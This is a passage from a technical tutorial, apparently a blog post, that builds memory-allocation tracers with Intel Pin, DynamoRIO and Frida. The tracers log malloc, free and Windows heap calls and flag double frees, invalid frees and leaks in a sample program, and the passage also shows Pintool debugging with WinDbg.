can see below, we use the map container and by using an iterator we check if the chunk of memory is being allocated for the first time. If yes, we also log it. VOID LogAfterMalloc(ADDRINT addr) { if (addr == NULL) { cerr << "[-] Error: malloc() return value was NULL. Heap full!?!"; return; } map<ADDRINT, bool>::iterator it = MallocMap.find(addr); if (it != MallocMap.end()) { if (it->second) it->second = false; else cerr << "[-] Error: allocating memory not freed!?!" << endl; } else { MallocMap.insert(pair<ADDRINT, bool>(addr, false)); LogFile << "\t\t= 0x" << hex << addr << endl; } } Finally, when we free a chunk of memory we verify if that address was already freed to detect double frees. Plus, if we don’t know the address being freed then we are trying to free memory that wasn’t allocated before. Which can lead to undefined behavior? VOID LogFree(ADDRINT addr) { map<ADDRINT, bool>::iterator it = MallocMap.find(addr); if (it != MallocMap.end()) { if (it->second) LogFile << "[*] Memory at address 0x" << hex << addr << " has been freed more than once." << endl; // Double free else { it->second = true; // Mark it as freed LogFile << "[*] free(0x" << hex << addr << ")" << endl; } } else LogFile << "[*] Freeing unallocated memory at address 0x" << hex << addr << "." << endl; // Freeing unallocated memory } Lastly, we have the call to FinalFunc, which is executed just before the program ends. We basically verify if there’s memory that has been allocated but not freed, and we close our log file. The return of this function marks the end of the instrumentation. VOID FinalFunc(INT32 code, VOID *v) { for (pair<ADDRINT, bool> p : MallocMap) { if (!p.second) LogFile << "[*] Memory at address 0x" << hex << p.first << " allocated but not freed" << endl; } LogFile.close(); } Simple. The whole Pintool code is below. You can also get the whole Visual Studio project from GitHub here. // Built on top of https://software.intel.com/sites/default/files/managed/62/f4/cgo2013.pdf (slide 33) #include "pin.h" #include <iostream> #include <fstream> #include <map> map<ADDRINT, bool> MallocMap; ofstream LogFile; KNOB<string> LogFileName(KNOB_MODE_WRITEONCE, "pintool", "o", "memprofile.out", "Memory trace file name"); VOID LogAfterMalloc(ADDRINT addr) { if (addr == NULL) { cerr << "[-] Error: malloc() return value was NULL. Heap full!?!"; return; } map<ADDRINT, bool>::iterator it = MallocMap.find(addr); if (it != MallocMap.end()) { if (it->second) it->second = false; else cerr << "[-] Error: allocating memory not freed!?!" << endl; } else { MallocMap.insert(pair<ADDRINT, bool>(addr, false)); LogFile << "\t\t= 0x" << hex << addr << endl; } } VOID LogBeforeMalloc(ADDRINT size) { LogFile << "[*] malloc(" << dec << size << ")"; } VOID LogFree(ADDRINT addr) { map<ADDRINT, bool>::iterator it = MallocMap.find(addr); if (it != MallocMap.end()) { if (it->second) LogFile << "[*] Memory at address 0x" << hex << addr << " has been freed more than once." << endl; // Double free else { it->second = true; // Mark it as freed LogFile << "[*] free(0x" << hex << addr << ")" << endl; } } else LogFile << "[*] Freeing unallocated memory at address 0x" << hex << addr << "." << endl; } VOID CustomInstrumentation(IMG img, VOID *v) { for (SYM sym = IMG_RegsymHead(img); SYM_Valid(sym); sym = SYM_Next(sym)) { string undFuncName = PIN_UndecorateSymbolName(SYM_Name(sym), UNDECORATION_NAME_ONLY); if (undFuncName == "malloc") { RTN allocRtn = RTN_FindByAddress(IMG_LowAddress(img) + SYM_Value(sym)); if (RTN_Valid(allocRtn)) { RTN_Open(allocRtn); // Record Malloc size RTN_InsertCall(allocRtn, IPOINT_BEFORE, (AFUNPTR)LogBeforeMalloc, IARG_FUNCARG_ENTRYPOINT_VALUE, 0, IARG_END); // Record Malloc return address RTN_InsertCall(allocRtn, IPOINT_AFTER, (AFUNPTR)LogAfterMalloc, IARG_FUNCRET_EXITPOINT_VALUE, IARG_END); RTN_Close(allocRtn); } } else if (undFuncName == "free") { RTN freeRtn = RTN_FindByAddress(IMG_LowAddress(img) + SYM_Value(sym)); if (RTN_Valid(freeRtn)) { RTN_Open(freeRtn); RTN_InsertCall(freeRtn, IPOINT_BEFORE, (AFUNPTR)LogFree, IARG_FUNCARG_ENTRYPOINT_VALUE, 0, IARG_END); RTN_Close(freeRtn); } } } } VOID FinalFunc(INT32 code, VOID *v) { for (pair<ADDRINT, bool> p : MallocMap) { if (!p.second) LogFile << "[*] Memory at address 0x" << hex << p.first << " allocated but not freed" << endl; } LogFile.close(); } int main(int argc, char *argv[]) { PIN_InitSymbols(); PIN_Init(argc, argv); LogFile.open(LogFileName.Value().c_str()); IMG_AddInstrumentFunction(CustomInstrumentation, NULL); PIN_AddFiniFunction(FinalFunc, NULL); PIN_StartProgram(); return 0; } If you run it against our ExercisePin.exe (see the section Target/Guest Program) binary. C:\pin>pin -t c:\pin\source\tools\MallocTracer\Release\MallocTracer.dll -- ExercisePin.exe done C:\pin>type memprofile.out [*] Freeing unallocated memory at address 0x0. [*] malloc(2) = 0x564f68 [*] malloc(128) = 0x569b88 [*] malloc(128) = 0x569c10 [*] malloc(128) = 0x569c98 [*] free(0x569b88) [*] free(0x569c98) [*] malloc(2) = 0x564e78 [*] Memory at address 0x564e78 allocated but not freed [*] Memory at address 0x564f68 allocated but not freed [*] Memory at address 0x569c10 allocated but not freed Or, if we pass any data as an argument to our ExercisePin.exe… C:\pin>pin.exe -t "C:\pin\source\tools\MallocTracer\Release\MallocTracer.dll" -- C:\TARGET\ExercisePin.exe moo C:\pin>type memprofile.out [*] Freeing unallocated memory at address 0x0. [*] malloc(2) = 0x214f78 [*] malloc(128) = 0x218f98 [*] malloc(128) = 0x219020 [*] malloc(128) = 0x2190a8 [*] free(0x218f98) [*] free(0x2190a8) [*] Memory at address 0x2190a8 has been freed more than once (Double Free). As we can see above, our Pintool was able to identify all the issues we were aware of in our test case. That is, invalid free, memory leaks, and a double free. The reason why we don’t see the memory leaks in the last output, it’s because our binary crashes when the double free happens. The binary was built with Visual Studio, which adds some Heap integrity checks and makes it crash. If you build ExercisePin.exe with gcc, or another compiler, the double free won’t be noticed and the program will keep running. However, if you build it with gcc, for example, you’ll see many other malloc and free calls from the C Run-Time Library initialization code. Hence, I didn’t use gcc to make it easier to follow. Basic DynamoRIO client (MallocWrap) We’ll create a DynamoRIO client that mimics the Pintool above. That is, we’ll log all the malloc and free calls. The same way, the instrumentation is added before and after the malloc call since we want to log the parameter passed to the call and its return value. For the free call, we’ll only look at its parameter, and not at its return value. So the instrumentation is only added before the call. We’ll use the drwrap DynamoRIO extension, which provides function wrapping and replacing support, drwrap uses the drmgr extension to ensure its events occur at the proper order. We start with some “standard” includes, and to use the DynamoRIO APIs we need to include dr_api.h. #include "stdafx.h" #include <fstream> #include "dr_api.h" #include "drmgr.h" #include "drwrap.h" using namespace std; Additionally, we include the headers for the extensions mentioned above. That is, drmgr.h and drwrap.h. We’ll write the output of this DynamoRIO client to a text file, hence the fstream include. I won’t use a container in this example to keep track of the memory allocations. You can just copy and paste that functionality from the Pintool above with slight modifications, so I’ll leave that for you as an exercise. In this example, we’ll simply log malloc and free calls to demonstrate how to use the DynamoRIO API to accomplish the same as before, where we used Pin. Then, we have the functions’ declaration, and some global variables. static void event_exit(void); static void wrap_malloc_pre(void *wrapcxt, OUT void **user_data); static void wrap_malloc_post(void *wrapcxt, void *user_data); static void wrap_free_pre(void *wrapcxt, OUT void **user_data); ofstream LogFile; #define MALLOC_ROUTINE_NAME "malloc" #define FREE_ROUTINE_NAME "free" These are all cosmetic, we could have used these #defines in our Pintool too. We didn’t, the reason being is… we don’t have to. Feel free to adopt the style you want. I built this example on top of this one, so I ended up using more or less the same “style”. If you plan to port your client or Pintool to other platforms, this can be considered a good practice because it will make the changes easier. Next, we have a function called module_load_event, which his a callback function registered by the drmgr_register_module_load_event. DynamoRIO will call this function whenever the application loads a module. As you can see, not that different from Pin. static void module_load_event(void *drcontext, const module_data_t *mod, bool loaded) { app_pc towrap = (app_pc)dr_get_proc_address(mod->handle, MALLOC_ROUTINE_NAME); if (towrap != NULL) { bool ok = drwrap_wrap(towrap, wrap_malloc_pre, wrap_malloc_post); if (!ok) { dr_fprintf(STDERR, "[-] Could not wrap 'malloc': already wrapped?\n"); DR_ASSERT(ok); } } towrap = (app_pc)dr_get_proc_address(mod->handle, FREE_ROUTINE_NAME); if (towrap != NULL) { bool ok = drwrap_wrap(towrap, wrap_free_pre, NULL); if (!ok) { dr_fprintf(STDERR, "[-] Could not wrap 'free': already wrapped?\n"); DR_ASSERT(ok); } } } As we can see above, we then use dr_get_proc_address to get the entry point of malloc. If it doesn’t return NULL (on failure), then we use drwrap_wrap to wrap the application function by calling wrap_malloc_pre() prior to every invocation of the original function (malloc) and calling wrap_malloc_post() after every invocation of the original function (malloc). Again, conceptually, very close to what we did with Pin. We do the same with free. However, as stated before we are only interested in the free parameter and not its return value. So we only wrap the free call prior to every invocation (wrap_free_pre). Since we don’t care about its return value we just pass NULL as the third parameter to drwrap_wrap. With drwrap_wrap one of the callbacks can be NULL, but not both. We then have the dr_client_main, which is, let’s say, our main function. DynamoRIO looks up dr_client_main in each client library and calls that function when the process starts. We have a pretty common “main”, with calls to dr_set_client_name (which sets information presented to users in diagnostic messages), dr_log (which simply writes to DynamoRIO’s log file), and a couple of functions that you can guess what they do by its name. Additionally, drmgr_init, and drwrap_init, initialize the respective extensions. The dr_register_exit_event is pretty much the same as the Pin PIN_AddFiniFunction, which is a call to a function to be executed immediately before the application exits. Lastly, we have the call to drmgr_register_module_load_event that we already mentioned above. DR_EXPORT void dr_client_main(client_id_t id, int argc, const char *argv[]) { LogFile.open("memprofile.out"); dr_set_client_name("DynamoRIO Sample Client 'wrap'", "http://dynamorio.org/issues"); dr_log(NULL, LOG_ALL, 1, "Client 'wrap' initializing\n"); if (dr_is_notify_on()) { dr_enable_console_printing(); dr_fprintf(STDERR, "[*] Client wrap is running\n"); } drmgr_init(); drwrap_init(); dr_register_exit_event(event_exit); drmgr_register_module_load_event(module_load_event); } The function to be executed immediately before the application exits. Nothing special here. static void event_exit(void) { drwrap_exit(); drmgr_exit(); } And lastly, the callback functions already mentioned before. What’s relevant here? The call drwrap_get_arg, that as we can guess “Returns the value of the arg-th argument (0-based) to the wrapped function represented by wrapcxt. Assumes the regular C calling convention (i.e., no fastcall). May only be called from a drwrap_wrap pre-function callback. To access argument values in a post-function callback, store them in the user_data parameter passed between the pre and post functions.”. And the call drwrap_get_retval, which obviously returns the return value of the wrapped function. static void wrap_malloc_pre(void *wrapcxt, OUT void **user_data) { /* malloc(size) or HeapAlloc(heap, flags, size) */ //size_t sz = (size_t)drwrap_get_arg(wrapcxt, 2); // HeapAlloc size_t sz = (size_t)drwrap_get_arg(wrapcxt, 0); // malloc LogFile << "[*] malloc(" << dec << sz << ")"; // log the malloc size } static void wrap_malloc_post(void *wrapcxt, void *user_data) { int actual_read = (int)(ptr_int_t)drwrap_get_retval(wrapcxt); LogFile << "\t\t= 0x" << hex << actual_read << endl; } static void wrap_free_pre(void *wrapcxt, OUT void **user_data) { int addr = (int)drwrap_get_arg(wrapcxt, 0); LogFile << "[*] free(0x" << hex << addr << ")" << endl; } Very simple, and not that different from what we have seen before with Pin. The whole DynamoRIO client code is below. You can also get the whole Visual Studio project from GitHub here. #include "stdafx.h" #include <fstream> #include "dr_api.h" #include "drmgr.h" #include "drwrap.h" using namespace std; static void event_exit(void); static void wrap_malloc_pre(void *wrapcxt, OUT void **user_data); static void wrap_malloc_post(void *wrapcxt, void *user_data); static void wrap_free_pre(void *wrapcxt, OUT void **user_data); ofstream LogFile; #define MALLOC_ROUTINE_NAME "malloc" #define FREE_ROUTINE_NAME "free" static void module_load_event(void *drcontext, const module_data_t *mod, bool loaded) { app_pc towrap = (app_pc)dr_get_proc_address(mod->handle, MALLOC_ROUTINE_NAME); if (towrap != NULL) { bool ok = drwrap_wrap(towrap, wrap_malloc_pre, wrap_malloc_post); if (!ok) { dr_fprintf(STDERR, "[-] Could not wrap 'malloc': already wrapped?\n"); DR_ASSERT(ok); } } towrap = (app_pc)dr_get_proc_address(mod->handle, FREE_ROUTINE_NAME); if (towrap != NULL) { bool ok = drwrap_wrap(towrap, wrap_free_pre, NULL); if (!ok) { dr_fprintf(STDERR, "[-] Could not wrap 'free': already wrapped?\n"); DR_ASSERT(ok); } } } DR_EXPORT void dr_client_main(client_id_t id, int argc, const char *argv[]) { LogFile.open("memprofile.out"); dr_set_client_name("DynamoRIO Sample Client 'wrap'", "http://dynamorio.org/issues"); dr_log(NULL, LOG_ALL, 1, "Client 'wrap' initializing\n"); if (dr_is_notify_on()) { dr_enable_console_printing(); dr_fprintf(STDERR, "[*] Client wrap is running\n"); } drmgr_init(); drwrap_init(); dr_register_exit_event(event_exit); drmgr_register_module_load_event(module_load_event); } static void event_exit(void) { drwrap_exit(); drmgr_exit(); } static void wrap_malloc_pre(void *wrapcxt, OUT void **user_data) { /* malloc(size) or HeapAlloc(heap, flags, size) */ //size_t sz = (size_t)drwrap_get_arg(wrapcxt, 2); // HeapAlloc size_t sz = (size_t)drwrap_get_arg(wrapcxt, 0); // malloc LogFile << "[*] malloc(" << dec << sz << ")"; // log the malloc size } static void wrap_malloc_post(void *wrapcxt, void *user_data) { int actual_read = (int)(ptr_int_t)drwrap_get_retval(wrapcxt); LogFile << "\t\t= 0x" << hex << actual_read << endl; } static void wrap_free_pre(void *wrapcxt, OUT void **user_data) { int addr = (int)drwrap_get_arg(wrapcxt, 0); LogFile << "[*] free(0x" << hex << addr << ")" << endl; } If you run it against our ExercisePin.exe (see the section Target/Guest Program) binary. C:\dynamorio\bin32>drrun.exe -client "C:\Users\bob\Desktop\WRKDIR\MallocWrap\Release\MallocWrap.dll" 0 "" c:\Users\bob\Desktop\ExercisePin.exe [*] Client wrap is running done C:\dynamorio\bin32>type memprofile.out [*] free(0x0) [*] malloc(2) = 0x5a35d0 [*] malloc(128) = 0x5a9c50 [*] malloc(128) = 0x5a9cd8 [*] malloc(128) = 0x5a9d60 [*] free(0x5a9c50) [*] free(0x5a9d60) [*] malloc(2) = 0x5a34e0 We can extend this program to get the exact same functionality as our Pintool and check for memory corruption bugs instead of logging the calls only. I’ll leave that as an exercise for you. Basic Frida script (MallocLogger) Frida is a fast-growing DBI framework, mainly used in mobile devices. I haven’t played much with mobile applications in a long time (it’s about to change though), still, I wanted to give Frida a try because I heard good things about it, and it also supports Windows. The interesting part here is that Frida injects a JavaScript interpreter in the target/guest program. So, instead of writing C code, we’ll be writing JavaScript to instrument our program (actually, if we want we can also use C or Swift). You can see this as an advantage, or disadvantage. If you are a vulnerability hunter, and you like to poke around browsers then this should be an advantage, I guess. It’s actually very interesting that we are writing instrumentation code to manipulate low-level instructions by using a high-level language. You can find the JavaScript API here. Anyway, the use case will be exactly the same as the ones we saw before. While the instrumentation code has to be written in JavaScript (well, again, that’s not true but let’s use JavaScript because it’s cool), the resulting tools can be written in either Python or JavaScript. We’ll use Frida’s Interceptor to trace all malloc and free calls for a start. The target will be our ExercisePin.exe binary again. We’ll also try to create an output close to the one of our basic MallocTracer Pintool, and MallocWrap DynamoRIO client. Which means we’ll log the amount of memory requested, the return address of malloc and the argument of free. Here’s the sample MallocLogger.py Python script. #!/usr/bin/env python import frida import sys pid = frida.spawn(['ExercisePin.exe']) session = frida.attach(pid) contents = open('mallocLogger.js').read() script = session.create_script(contents) script.load() frida.resume(pid) sys.stdin.read() And below is the instrumentation JavaScript file, MallocLogger.js. // Interceptor for 'malloc' Interceptor.attach(Module.findExportByName(null, 'malloc'), { // Log before malloc onEnter: function (args) { console.log("malloc(" + args[0].toInt32() + ")"); }, // Log after malloc onLeave: function (retval) { console.log("\t\t= 0x" + retval.toString(16)); } }); // Interceptor for 'free' Interceptor.attach(Module.findExportByName(null, 'free'), { onEnter: function (args) { console.log("free(0x" + args[0].toString(16) + ")"); } }); If we run this Python script we get something like. C:\Users\bob\Desktop\frida>python MallocLogger.py free(0x0) malloc(2) = 0x984268 malloc(128) = 0x9856d8 malloc(128) = 0x985760 malloc(128) = 0x9857e8 done free(0x9856d8) free(0x9857e8) malloc(2) = 0x984278 Interestingly enough, Frida also comes with an utility frida-trace.exe that pretty much allows us to do the exact same thing we did above without writing almost any code (besides adding a bit more of information and tweaking the output). C:\Users\bob\Desktop\frida>frida-trace -i malloc -i free .\ExercisePin.exe Instrumenting functions... malloc: Auto-generated handler at "C:\Users\bob\Desktop\frida\tmp\__handlers__\msvcrt.dll\malloc.js" malloc: Auto-generated handler at "C:\Users\bob\Desktop\frida\tmp\__handlers__\ucrtbase.DLL\malloc.js" free: Auto-generated handler at "C:\Users\bob\Desktop\frida\tmp\__handlers__\msvcrt.dll\free.js" free: Auto-generated handler at "C:\Users\bob\Desktop\frida\tmp\__handlers__\ucrtbase.DLL\free.js" Started tracing 4 functions. Press Ctrl+C to stop. done /* TID 0x1f84 */ 125 ms free() 125 ms malloc() 125 ms malloc() 125 ms malloc() 125 ms malloc() 125 ms free() 125 ms free() 125 ms malloc() Process terminated If you look at the output above you can see that some JavaScript handlers were auto-generated. We can just tweak this JavaScript code to make the output look as before. If we open for example the file __handlers__\msvcrt.dll\malloc.js we’ll see something like: /* * Auto-generated by Frida. Please modify to match the signature of malloc. * This stub is currently auto-generated from manpages when available. * * For full API reference, see: http://www.frida.re/docs/javascript-api/ */ { /** * Called synchronously when about to call malloc. * * @this {object} - Object allowing you to store state for use in onLeave. * @param {function} log - Call this function with a string to be presented to the user. * @param {array} args - Function arguments represented as an array of NativePointer objects. * For example use Memory.readUtf8String(args[0]) if the first argument is a pointer to a C string encoded as UTF-8. * It is also possible to modify arguments by assigning a NativePointer object to an element of this array. * @param {object} state - Object allowing you to keep state across function calls. * Only one JavaScript function will execute at a time, so do not worry about race-conditions. * However, do not use this to store function arguments across onEnter/onLeave, but instead * use "this" which is an object for keeping state local to an invocation. */ onEnter: function (log, args, state) { log("malloc()"); }, /** * Called synchronously when about to return from malloc. * * See onEnter for details. * * @this {object} - Object allowing you to access state stored in onEnter. * @param {function} log - Call this function with a string to be presented to the user. * @param {NativePointer} retval - Return value represented as a NativePointer object. * @param {object} state - Object allowing you to keep state across function calls. */ onLeave: function (log, retval, state) { } } We just need to tweak the onEnter and onLeave functions. For example. /* * Auto-generated by Frida. Please modify to match the signature of malloc. * This stub is currently auto-generated from manpages when available. * * For full API reference, see: http://www.frida.re/docs/javascript-api/ */ { /** * Called synchronously when about to call malloc. * * @this {object} - Object allowing you to store state for use in onLeave. * @param {function} log - Call this function with a string to be presented to the user. * @param {array} args - Function arguments represented as an array of NativePointer objects. * For example use Memory.readUtf8String(args[0]) if the first argument is a pointer to a C string encoded as UTF-8. * It is also possible to modify arguments by assigning a NativePointer object to an element of this array. * @param {object} state - Object allowing you to keep state across function calls. * Only one JavaScript function will execute at a time, so do not worry about race-conditions. * However, do not use this to store function arguments across onEnter/onLeave, but instead * use "this" which is an object for keeping state local to an invocation. */ onEnter: function (log, args, state) { log("malloc(" + args[0].toInt32() + ")"); }, /** * Called synchronously when about to return from malloc. * * See onEnter for details. * * @this {object} - Object allowing you to access state stored in onEnter. * @param {function} log - Call this function with a string to be presented to the user. * @param {NativePointer} retval - Return value represented as a NativePointer object. * @param {object} state - Object allowing you to keep state across function calls. */ onLeave: function (log, retval, state) { log("\t\t= 0x" + retval.toString(16)); } } Now, if we run again the exact same command as before we’ll get the following. C:\Users\bob\Desktop\frida>frida-trace -i malloc -i free .\ExercisePin.exe Instrumenting functions... malloc: Loaded handler at "C:\Users\bob\Desktop\frida\tmp\__handlers__\msvcrt.dll\malloc.js" malloc: Loaded handler at "C:\Users\bob\Desktop\frida\tmp\__handlers__\ucrtbase.DLL\malloc.js" free: Loaded handler at "C:\Users\bob\Desktop\frida\tmp\__handlers__\msvcrt.dll\free.js" free: Loaded handler at "C:\Users\bob\Desktop\frida\tmp\__handlers__\ucrtbase.DLL\free.js" Started tracing 4 functions. Press Ctrl+C to stop. done /* TID 0x23e4 */ 64 ms free(0x0) 64 ms malloc(2) 64 ms = 0x8a42a8 64 ms malloc(128) 64 ms = 0x8a57a0 64 ms malloc(128) 64 ms = 0x8a5828 64 ms malloc(128) 64 ms = 0x8a58b0 64 ms free(0x8a57a0) 64 ms free(0x8a58b0) 65 ms malloc(2) 65 ms = 0x8a42b8 Process terminated We can extend this program to get the exact same functionality as our Pintool, and check for memory corruption bugs instead of logging the calls only. I’ll leave that as an exercise for you. Debugging If you want to debug your Pintool you should use the -pause_tool switch and specify the number of seconds to wait until you attach the debugger to its process. See below how. C:\pin\source\tools\MallocTracer\Release>c:\pin\pin.exe -pause_tool 20 -t "C:\pin\source\tools\MallocTracer\Release\MallocTracer.dll" -- ExercisePin.exe Pausing for 20 seconds to attach to process with pid 1568 For debugging of the Pintool I actually don’t use Visual Studio, I prefer to use WinDbg because I’m used to it and it is awesome. Once you attach to the process with WinDbg it’s very easy to set up a breakpoint wherever you like in your Pintool. Below is just a simple example of setting a breakpoint in the main function of my Pintool. Microsoft (R) Windows Debugger Version 10.0.17134.12 X86 Copyright (c) Microsoft Corporation. All rights reserved. *** wait with pending attach Symbol search path is: srv* Executable search path is: ModLoad: 00080000 00087000 C:\pin\source\tools\MallocTracer\Release\ExercisePin.exe ModLoad: 77800000 77980000 C:\Windows\SysWOW64\ntdll.dll ModLoad: 769d0000 76ae0000 C:\Windows\syswow64\kernel32.dll ModLoad: 76b50000 76b97000 C:\Windows\syswow64\KERNELBASE.dll Break-in sent, waiting 30 seconds... ModLoad: 54c20000 54f93000 MallocTracer.dll It is now possible to set breakpoints in Pin tool. Use "Go" command (F5) to proceed. (620.12c0): Break instruction exception - code 80000003 (first chance) eax=00000000 ebx=53833c8c ecx=76b6388e edx=00000000 esi=53833c8c edi=53833cb8 eip=76b6338d esp=01ad1930 ebp=0042e7e4 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246 KERNELBASE!DebugBreak+0x2: 76b6338d cc int 3 0:000> lmf start end module name 00080000 00087000 ExercisePin C:\pin\source\tools\MallocTracer\Release\ExercisePin.exe 54c20000 54f93000 MallocTracer MallocTracer.dll 769d0000 76ae0000 kernel32 C:\Windows\syswow64\kernel32.dll 76b50000 76b97000 KERNELBASE C:\Windows\syswow64\KERNELBASE.dll 77800000 77980000 ntdll C:\Windows\SysWOW64\ntdll.dll 0:000> lmDvmMallocTracer Browse full module list start end module name 54c20000 54f93000 MallocTracer (deferred) Image path: MallocTracer.dll Image name: MallocTracer.dll Browse all global symbols functions data Timestamp: Sat Jun 30 14:28:14 2018 (5B37F5EE) CheckSum: 00000000 ImageSize: 00373000 Translations: 0000.04b0 0000.04e4 0409.04b0 0409.04e4 Information from resource tables: 0:000> x /D /f MallocTracer!a* A B C D E F G H I J K L M N O P Q R S T U V W X Y Z *** WARNING: Unable to verify checksum for MallocTracer.dll 54c549b8 MallocTracer!ASM_pin_wow64_gate (<no parameter info>) 54c5483c MallocTracer!ATOMIC_Increment16 (<no parameter info>) 54c547d0 MallocTracer!ATOMIC_Swap8 (<no parameter info>) 54c54854 MallocTracer!ATOMIC_Increment32 (<no parameter info>) 54e28b64 MallocTracer!ADDRINT_AtomicInc (<no parameter info>) 54c35e20 MallocTracer!atexit (<no parameter info>) 54c547fc MallocTracer!ATOMIC_Swap32 (<no parameter info>) 54c54740 MallocTracer!ATOMIC_SpinDelay (<no parameter info>) 54c533c0 MallocTracer!ATOMIC::LIFO_PTR<LEVEL_BASE::SWMALLOC::FREE_LIST_ELEMENT,3,LEVEL_BASE::ATOMIC_STATS>::PopInternal (<no parameter info>) 54e1a2b0 MallocTracer!abort (<no parameter info>) 54c54810 MallocTracer!ATOMIC_Copy64 (<no parameter info>) 54c547e4 MallocTracer!ATOMIC_Swap16 (<no parameter info>) 54c41710 MallocTracer!ATOMIC::LIFO_CTR<ATOMIC::FIXED_LIFO<LEVEL_BASE::LOCK_COMMAND *,1,32,ATOMIC::NULLSTATS>::ELEMENT,ATOMIC::FIXED_LIFO<LEVEL_BASE::LOCK_COMMAND *,1,32,ATOMIC::NULLSTATS>::ELEMENT_HEAP,1,32,unsigned __int64,ATOMIC::NULLSTATS>::Pop (<no parameter info>) 54c54824 MallocTracer!ATOMIC_Increment8 (<no parameter info>) 54c549bb MallocTracer!ASM_pin_wow64_gate_end (<no parameter info>) 54c5478c MallocTracer!ATOMIC_CompareAndSwap32 (<no parameter info>) 54c54750 MallocTracer!ATOMIC_CompareAndSwap8 (<no parameter info>) 54c41820 MallocTracer!ATOMIC::LIFO_CTR<ATOMIC::FIXED_LIFO<LEVEL_BASE::LOCK_COMMAND *,1,32,ATOMIC::NULLSTATS>::ELEMENT,ATOMIC::FIXED_LIFO<LEVEL_BASE::LOCK_COMMAND *,1,32,ATOMIC::NULLSTATS>::ELEMENT_HEAP,1,32,unsigned __int64,ATOMIC::NULLSTATS>::Push (<no parameter info>) 54c535a0 MallocTracer!ATOMIC::IDSET<7,LEVEL_BASE::ATOMIC_STATS>::ReleaseID (<no parameter info>) 54c547a8 MallocTracer!ATOMIC_CompareAndSwap64 (<no parameter info>) 54c3e660 MallocTracer!ATOMIC::EXPONENTIAL_BACKOFF<LEVEL_BASE::ATOMIC_STATS>::~EXPONENTIAL_BACKOFF<LEVEL_BASE::ATOMIC_STATS> (<no parameter info>) 54c5476c MallocTracer!ATOMIC_CompareAndSwap16 (<no parameter info>) 0:000> x /D /f MallocTracer!m* A B C D E F G H I J K L M N O P Q R S T U V W X Y Z 54e21e20 MallocTracer!mbsinit (<no parameter info>) 54c6e450 MallocTracer!mmap (<no parameter info>) 54c3bb40 MallocTracer!malloc (<no parameter info>) 54e21db0 MallocTracer!memchr (<no parameter info>) 54e21e00 MallocTracer!mbrtowc (<no parameter info>) 54e26500 MallocTracer!mbrlen (<no parameter info>) 54e21e40 MallocTracer!mbsnrtowcs (<no parameter info>) 54e261b0 MallocTracer!mbrtoc32 (<no parameter info>) 54c38730 MallocTracer!main (<no parameter info>) 54e1a2f0 MallocTracer!memset (<no parameter info>) 54e26410 MallocTracer!mbstate_get_byte (<no parameter info>) 54e22010 MallocTracer!mbsrtowcs (<no parameter info>) 54e1a1a0 MallocTracer!memmove (<no parameter info>) 54e263e0 MallocTracer!mbstate_bytes_so_far (<no parameter info>) 54e1a2c0 MallocTracer!memcpy (<no parameter info>) 54c6e480 MallocTracer!munmap (<no parameter info>) 54e26420 MallocTracer!mbstate_set_byte (<no parameter info>) 0:000> bp 54c38730 0:000> g Breakpoint 0 hit eax=53833cb8 ebx=54f64000 ecx=00000000 edx=54f356c0 esi=54f6500a edi=54f65000 eip=54c38730 esp=01ad19f4 ebp=53833c8c iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246 MallocTracer!main: 54c38730 55 push ebp For DynamoRIO I’ll just point you to the official documentation since the debugging process can be a bit more tricky. Check the documentation here. Pintool (WinMallocTracer) As mentioned in the beginning, this post is all about Windows. Which means it doesn’t really make sense to be tracking malloc, and/or free. If we want to play with “real” Windows applications we need to trace the Windows Heap family of functions. It’s a good time to look again at the diagram shown before that illustrates the relationship of Windows API calls used to allocate process memory (from the book The Art of Memory Forensics). If we want to make sure we’ll always “see” the memory allocations performed by Windows applications, we should be looking for RtlAllocateHeap, RtlReAllocateHeap, RtlFreeHeap, VirtualAllocEx, and VirtualFreeEx. The Pintool below looks exactly at these functions. If you play a bit with multiple applications you’ll realize that to accomplish “our” goal of tracking memory allocations we’ll face a lot of challenges. The code below tries to overcome some of them. I won’t go into detail explaining the API calls used as I did before. Mainly because they are mostly the same. I’ll leave the code here and you can go through it. After I simply mention some of the main differences when compared to the basic Pintool presented before. #include "pin.h" #include <iostream> #include <fstream> #include <map> map<ADDRINT, bool> MallocMap; ofstream LogFile; KNOB<string> LogFileName(KNOB_MODE_WRITEONCE, "pintool", "o", "memprofile.out", "Memory trace file name"); KNOB<string> EntryPoint(KNOB_MODE_WRITEONCE, "pintool", "entrypoint", "main", "Guest entry-point function"); KNOB<BOOL> EnumSymbols(KNOB_MODE_WRITEONCE, "pintool", "symbols", "0", "List Symbols"); BOOL start_trace = false; VOID LogBeforeVirtualAlloc(ADDRINT size) { if (!start_trace) return; LogFile << "[*] VirtualAllocEx(" << dec << size << ")"; } VOID LogAfterVirtualAlloc(ADDRINT addr) { if (!start_trace) return; if (addr == NULL) { cerr << "[-] Error: VirtualAllocEx() return value was NULL."; return; } map<ADDRINT, bool>::iterator it = MallocMap.find(addr); if (it != MallocMap.end()) { if (it->second) it->second = false; else cerr << "[-] Error: allocating memory not freed!?!" << endl; } else { MallocMap.insert(pair<ADDRINT, bool>(addr, false)); LogFile << "\t\t= 0x" << hex << addr << endl; } } VOID LogBeforeVirtualFree(ADDRINT addr) { if (!start_trace) return; map<ADDRINT, bool>::iterator it = MallocMap.find(addr); if (it != MallocMap.end()) { if (it->second) LogFile << "[*] Memory at address 0x" << hex << addr << " has been freed more than once (Double Free)." << endl; else { it->second = true; // Mark it as freed LogFile << "[*] VirtualFreeEx(0x" << hex << addr << ")" << endl; } } else LogFile << "[*] Freeing unallocated memory at address 0x" << hex << addr << "." << endl; } VOID LogBeforeReAlloc(ADDRINT freed_addr, ADDRINT size) { if (!start_trace) return; // mark freed_addr as free map<ADDRINT, bool>::iterator it = MallocMap.find(freed_addr); if (it != MallocMap.end()) { it->second = true; LogFile << "[*] RtlHeapfree(0x" << hex << freed_addr << ") from RtlHeapRealloc()" << endl; } else LogFile << "[-] RtlHeapRealloc could not find addr to free??? - " << freed_addr << endl; LogFile << "[*] RtlHeapReAlloc(" << dec << size << ")"; } VOID LogAfterReAlloc(ADDRINT addr) { if (!start_trace) return; if (addr == NULL) return; map<ADDRINT, bool>::iterator it = MallocMap.find(addr); if (it != MallocMap.end()) { if (it->second) it->second = false; else // it already exists because of the HeapAlloc, we don't need to insert... just log it LogFile << "\t\t= 0x" << hex << addr << endl; } } VOID LogBeforeMalloc(ADDRINT size) { if (!start_trace) return; LogFile << "[*] RtlAllocateHeap(" << dec << size << ")"; } VOID LogAfterMalloc(ADDRINT 